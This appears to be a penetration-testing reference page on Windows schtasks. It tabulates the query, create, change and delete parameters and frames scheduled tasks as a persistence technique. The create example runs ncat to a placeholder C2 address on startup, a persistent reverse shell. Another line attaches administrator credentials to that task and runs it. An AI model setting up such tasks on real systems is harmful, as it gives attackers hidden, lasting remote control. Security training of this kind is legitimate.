# Scheduled Tasks

A great way to achieve persistence.

## Display Syntax

<table><thead><tr><th width="134" align="right">Parameter</th><th>Description</th></tr></thead><tbody><tr><td align="right"></td><td>Performs a local or remote host search to determine what scheduled tasks exist. Due to permissions, not all tasks may be seen by a normal user.</td></tr><tr><td align="right">/fo</td><td>Sets formatting options. We can specify to show results in the <code>Table, List, or CSV</code> output.</td></tr><tr><td align="right">/v</td><td>Sets verbosity to on, displaying the <code>advanced properties</code> set in displayed tasks when used with the List or CSV output parameter.</td></tr><tr><td align="right">/nh</td><td>Simplifies the output using the Table or CSV output format. This switch <code>removes</code> the <code>column headers</code>.</td></tr><tr><td align="right">/s</td><td>Sets the DNS name or IP address of the host we want to connect to. <code>Localhost</code> is the <code>default</code> specified. If <code>/s</code> is utilized, we are connecting to a remote host and must format it as "\\host".</td></tr><tr><td align="right">/u</td><td>This switch will tell schtasks to run the following command with the <code>permission set</code> of the <code>user</code> specified.</td></tr><tr><td align="right">/p</td><td>Sets the <code>password</code> in use for command execution when we specify a user to run the task. Users must be members of the Administrator's group on the host (or in the domain). The <code>u</code> and <code>p</code> values are only valid when used with the <code>s</code> parameter.</td></tr></tbody></table>

View the host's existing scheduled tasks.

```powershell
# view all scheduled tasks
schtasks /Query /V /FO list
# query a specific task
schtasks /query /tn "My Task" /V /fo list 
```

## Create Syntax

<table><thead><tr><th width="138" align="right">Parameter</th><th>Description</th></tr></thead><tbody><tr><td align="right">/sc</td><td>Sets the schedule type. It can be by the minute, hourly, weekly, and much more. Be sure to check the options parameters.</td></tr><tr><td align="right">/tn</td><td>Sets the name for the task we are building. Each task must have a unique name.</td></tr><tr><td align="right">/tr</td><td>Sets the trigger and task that should be run. This can be an executable, script, or batch file.</td></tr><tr><td align="right">/s</td><td>Specify the host to run on, much like in Query.</td></tr><tr><td align="right">/u</td><td>Specifies the local user or domain user to utilize</td></tr><tr><td align="right">/p</td><td>Sets the Password of the user-specified.</td></tr><tr><td align="right">/mo</td><td>Allows us to set a modifier to run within our set schedule. For example, every 5 hours every other day.</td></tr><tr><td align="right">/rl</td><td>Allows us to limit the privileges of the task. Options here are <code>limited</code> access and <code>Highest</code>. Limited is the default value.</td></tr><tr><td align="right">/z</td><td>Will set the task to be deleted after completion of its actions.</td></tr></tbody></table>

For creating a new scheduled task we must specify, at a minimum, the following:

* `/create` : to tell it what we are doing
* `/sc` : we must set a schedule
* `/tn` : we must set the name
* `/tr` : we must give it an action to take

{% code overflow="wrap" %}

```powershell
schtasks /create /sc ONSTART /tn "My Task" /tr "c:\users\<user>\appdata\local\ncat.exe <c2c-ip> <c2c-port>"
```

{% endcode %}

## Change Syntax

<table><thead><tr><th width="132" align="right">Parameter</th><th>Description</th></tr></thead><tbody><tr><td align="right">/tn</td><td>Designates the task to change</td></tr><tr><td align="right">/tr</td><td>Modifies the program or action that the task runs.</td></tr><tr><td align="right">/ENABLE</td><td>Change the state of the task to Enabled.</td></tr><tr><td align="right">/DISABLE</td><td>Change the state of the task to Disabled.</td></tr></tbody></table>

```powershell
# adding credentials to our reverse shell task
schtasks /change /tn "My Task" /ru administrator /rp "P@ssw0rd"
# run the task immediately
schtasks /run /tn "My Task"
```

## Delete Syntax

<table><thead><tr><th width="161" align="right">Parameter</th><th>Description</th></tr></thead><tbody><tr><td align="right">/tn</td><td>Identifies the task to delete.</td></tr><tr><td align="right">/s</td><td>Specifies the name or IP address to delete the task from.</td></tr><tr><td align="right">/u</td><td>Specifies the user to run the task as.</td></tr><tr><td align="right">/p</td><td>Specifies the password to run the task as.</td></tr><tr><td align="right">/f</td><td>Stops the confirmation warning.</td></tr></tbody></table>

```powershell
schtasks /delete /tn "My Task" /f
```